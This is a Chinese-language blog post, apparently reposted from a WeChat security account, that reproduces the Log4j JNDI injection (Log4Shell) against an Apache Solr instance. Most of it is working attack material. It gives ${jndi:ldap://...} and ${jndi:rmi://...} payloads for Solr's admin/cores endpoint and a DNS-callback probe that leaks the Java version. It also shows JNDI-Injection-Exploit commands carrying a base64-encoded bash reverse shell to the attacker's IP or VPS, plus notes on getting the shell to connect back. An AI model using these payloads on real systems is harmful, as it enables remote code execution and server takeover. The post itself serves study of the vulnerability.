log4j漏洞复现以及反弹shell的摸索
2023-4-17 11:31:21 Author: 编码安全研究(查看原文) 阅读量:22 收藏

log4j

原理

apache 的 log4j2 版本,在打印日志内容时,使用了一个 lookup 函数,如果数据中存在${xxxx}这样的格式的数据,那 log4j 就会将该数据当做资源地址进行请求,如果说这串数据是一个 ldap 服务的资源地址,那么就可能造成 JNDI 注入,从而导致 RCE,因此也可以说该漏洞是一个 JDNI 注入漏洞。

  • 那么什么是JNDI?

JNDI,全称Java Naming and Directory Interface(Java命名和目录接口) 是Java中引入一种Java API,它允许客户端通过名称发现查找和共享Java数据和对象。这些对象可以存储在不同的命名或目录中,例如远程方法调用(RMI)、通用对象请求代理架构(CORBA)、轻量级目录访问协议(LDAP)或域名服务(DNS)等。

jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。(我看完理解是为了我们方便访问rmi,idap,三者关系就像webshell管理工具和asp马,php马一样,简单的将LDAP理解为一个存储目录,里面有我们要的资源,而JNDI就是获取资源的一种途径或者说方式。)

  • jndi注入的利用条件

  1. 客户端的lookup()方法的参数可控;

  2. 服务端在使用Reference时,classFactoryLocation参数可控

logjRCE

  • 原理

首先log4j打印日志有四个级别:debug、info、warn、error,不管哪个方法打印日志,在正常的log处理过程中,对 ${这两个紧邻的字符做了检测,一旦遇到类似表达式结构的字符串就会触发替换机制。
一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。

        漏洞复现中构造的payload:

action=${jndi:ldap://ip:1389/6zk7j4}

按照上面的说法,log4j会检测到${},然后用lookup查询,然后就会访问jndi服务,然后从攻击机的ip地址ip:1389动态加载漏洞利用工具给出的6zk7j4,把工具编写好的带有反弹shell代码的class文件加载到受害者本地,进行实例化执行,最后成功让受害者反向连接到攻击者。

漏洞复现:

验证

p296hn.ceye.io

http://ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}
这里填你的ceye或dnslog地址}

得到版本为1.8

应用工具JNDI-Injection-Exploit搭建服务:

格式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c "{echo,bash -i >& /dev/tcp/攻击机器的ip/要监听的端口 0>&1}|{base64,-d}|{bash,-i}" -A "ip(攻击机)"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,bash -i >& /dev/tcp/ip/6969 0>&1}|{base64,-d}|{bash,-i}" -A ip

base64加密后

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2My4xMjkvNjk2OSAwPiYx}|{base64,-d}|{bash,-i}" -A ip

得到rmi,ldap:

Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://ip:1099/6zk7j4
ldap://ip:1389/6zk7j4
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://ip:1099/wjw6iw
ldap://ip:1389/wjw6iw
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://ip:1099/klrhmv

选择1.8版本

Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://ip:1099/6zk7j4 对应GET
ldap://ip:1389/6zk7j4 对应post

打开监听:nc -lvnp 6666

构造payload

action=${jndi:ldap://ip:1389/6zk7j4}
burp

反弹shell成功

怎么可能满足于自己搞自己,尝试用vps来监听

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,bash -i >& /dev/tcp/vpsip/6666 0>&1}|{base64,-d}|{bash,-i}" -A vpsip
base64bash -i >& /dev/tcp/vpsip/6666 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTMuMTA4LjEwLzY2NjYgMD4mMQ==
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTMuMTA4LjEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A vpsip

虚拟机用工具获取rmi,ldap。vps上监听好像也是可行的

Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://vpsip:1099/dxozhy
ldap://vpsip:1389/dxozhy

payloadadmin/cores?action=${jndi:rmi://vpsip:1099/dxozhy}

好像不大行,并没有吃到shell。原因排查,是否是对ldap,rmi和post,get的对应关系猜想错误。

重新构造payload

action=${jndi:ldap://vpsip:1389/dxozhy}

还是不大行,应该是要把利用工具传到vps里生成rim,ldap。

payload

action=${jndi:ldap://vpsip:1389/sityjp}
监听再次开起来

走你!那么再来确认是不是ldap协议对应post,rmi协议对应GET

再次开启监听

payload
admin/cores?action=${jndi:rmi://vpsip:1099/sityjp}

本次复现圆满完成

注:1.漏洞利用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar只能是在你的攻击机里,不能使用kali生成vps ip地址的payload然后用vps监听

2.使用规则里也只能bash -i 的ip和获取rmi,ldap的ip保持一致。

3.经尝试验证工具给出的ldap对应post去利用,rmi对应GET去验证。

源:掌控安全社区

注:如有侵权请联系删除

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧。

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247503178&idx=1&sn=0f3a7e51bb5e161277b2a978a7bd8475&chksm=ce649e2ff91317390d1f267f4305e1322e7e81c3e00172fc8edd4edc2dbd6629fdfde5225b27#rd
如有侵权请联系:admin#unsafe.sh